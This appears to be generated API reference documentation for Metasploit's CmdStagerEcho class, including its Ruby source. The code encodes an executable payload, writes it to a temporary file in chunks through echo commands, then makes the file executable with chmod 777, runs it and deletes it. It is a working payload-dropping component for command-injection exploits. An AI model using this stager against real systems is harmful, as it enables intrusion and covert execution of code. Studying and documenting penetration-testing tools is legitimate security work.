Class: Rex::Exploitation::CmdStagerEcho

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/echo.rb

Constant Summary collapse

ENCODINGS =
{
  'hex'                 => "\\\\x",
  'octal'               => "\\\\",
  'hex_double_quoted'   => "\\x",
  'hex_single_quoted'   => "\\x",
}

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#compress_commands, #generate_cmds_payload, #setup, #teardown

Constructor Details

#initialize(exe) ⇒ CmdStagerEcho

Returns a new instance of CmdStagerEcho.



19
20
21
22
23
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 19

def initialize(exe)
  super

  @var_elf = Rex::Text.rand_text_alpha(5)
end

Instance Method Details

#cmd_concat_operatorObject



175
176
177
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 175

def cmd_concat_operator
  " ; "
end

#encode_payload(opts) ⇒ Object

Encode into a format that echo understands, where interpretation of backslash escapes are enabled. For hex, it’ll look like “\x41\x42”, and octal will be “\101\102\5\41”



82
83
84
85
86
87
88
89
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 82

def encode_payload(opts)
  case opts[:enc_format]
  when 'octal'
    return Rex::Text.to_octal(@exe, @prefix)
  else
    return Rex::Text.to_hex(@exe, @prefix)
  end
end

#fix_last_byte(part, opts, remaining = "") ⇒ Object



152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 152

def fix_last_byte(part, opts, remaining="")
  fixed_part = part.dup

  case opts[:enc_format]
  when 'hex'
    while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix)
      fixed_part.chop!
    end
  when /hex_.*_quoted/
    while (fixed_part.length > 0 && fixed_part[-4, @prefix.length] != @prefix)
      fixed_part.chop!
    end
  when 'octal'
    if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix
      pos = fixed_part.rindex('\\')
      pos -= 1 if fixed_part[pos-1] == '\\'
      fixed_part.slice!(pos..fixed_part.length-1)
    end
  end

  return fixed_part
end

#generate(opts = {}) ⇒ Object

Override to ensure opts is a correct *nix path and initialize opts.



29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 29

def generate(opts = {})
  opts[:temp] = opts[:temp] || '/tmp/'

  unless opts[:temp].empty?
    opts[:temp].gsub!(/\\/, '/')
    opts[:temp] = opts[:temp].shellescape
    opts[:temp] << '/' if opts[:temp][-1,1] != '/'
  end

  # by default use the 'hex' encoding
  opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s

  unless ENCODINGS.keys.include?(opts[:enc_format])
    raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
  end

  super
end

#generate_cmds(opts) ⇒ Object

Override to set the extra byte count



51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 51

def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo "
  unless opts[:noargs]
    @cmd_start += "-en "
  end

  @cmd_end   = ">>#{@tempdir}#{@var_elf}"
  xtra_len = @cmd_start.length + @cmd_end.length
  if opts[:enc_format].to_s =~ /quoted/
    xtra_len += 2
  end
  opts.merge!({ :extra => xtra_len })

  @prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]]
  min_part_size = 5 # for both encodings

  if (opts[:linemax] - opts[:extra]) < min_part_size
    raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
  end

  super
end

#generate_cmds_decoder(opts) ⇒ Object

Since the binary has been already dropped to fs, just execute and delete it



116
117
118
119
120
121
122
123
124
125
126
127
128
129
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 116

def generate_cmds_decoder(opts)
  cmds = []
  # Make it all happen
  cmds << "chmod 777 #{@tempdir}#{@var_elf}"
  #cmds << "chmod +x #{@tempdir}#{@var_elf}"
  cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}"

  # Clean up after unless requested not to..
  unless opts[:nodelete]
    cmds << "rm -f #{@tempdir}#{@var_elf}"
  end

  return cmds
end

#parts_to_commands(parts, opts) ⇒ Object

Combine the parts of the encoded file with the stuff that goes before (“echo -en ”) / after (“>>file”) it.



96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 96

def parts_to_commands(parts, opts)
  parts.map do |p|
    cmd = ''
    cmd << @cmd_start
    if opts[:enc_format] == 'hex_double_quoted'
      cmd << %Q{"#{p}"}
    elsif opts[:enc_format] == 'hex_single_quoted'
      cmd << %Q{'#{p}'}
    else
      cmd << p
    end
    cmd << @cmd_end
    cmd
  end
end

#slice_up_payload(encoded, opts) ⇒ Object

Override it to ensure that the hex representation of a byte isn’t cut



134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 134

def slice_up_payload(encoded, opts)
  encoded_dup = encoded.dup

  parts = []
  xtra_len = opts[:extra]
  xtra_len ||= 0
  while (encoded_dup.length > 0)
    temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
    # cut the end of the part until we reach the start
    # of a full byte representation "\\xYZ" or "\\YZX"
    temp = fix_last_byte(temp, opts, encoded_dup)
    parts << temp
    encoded_dup.slice!(0, temp.length)
  end

  parts
end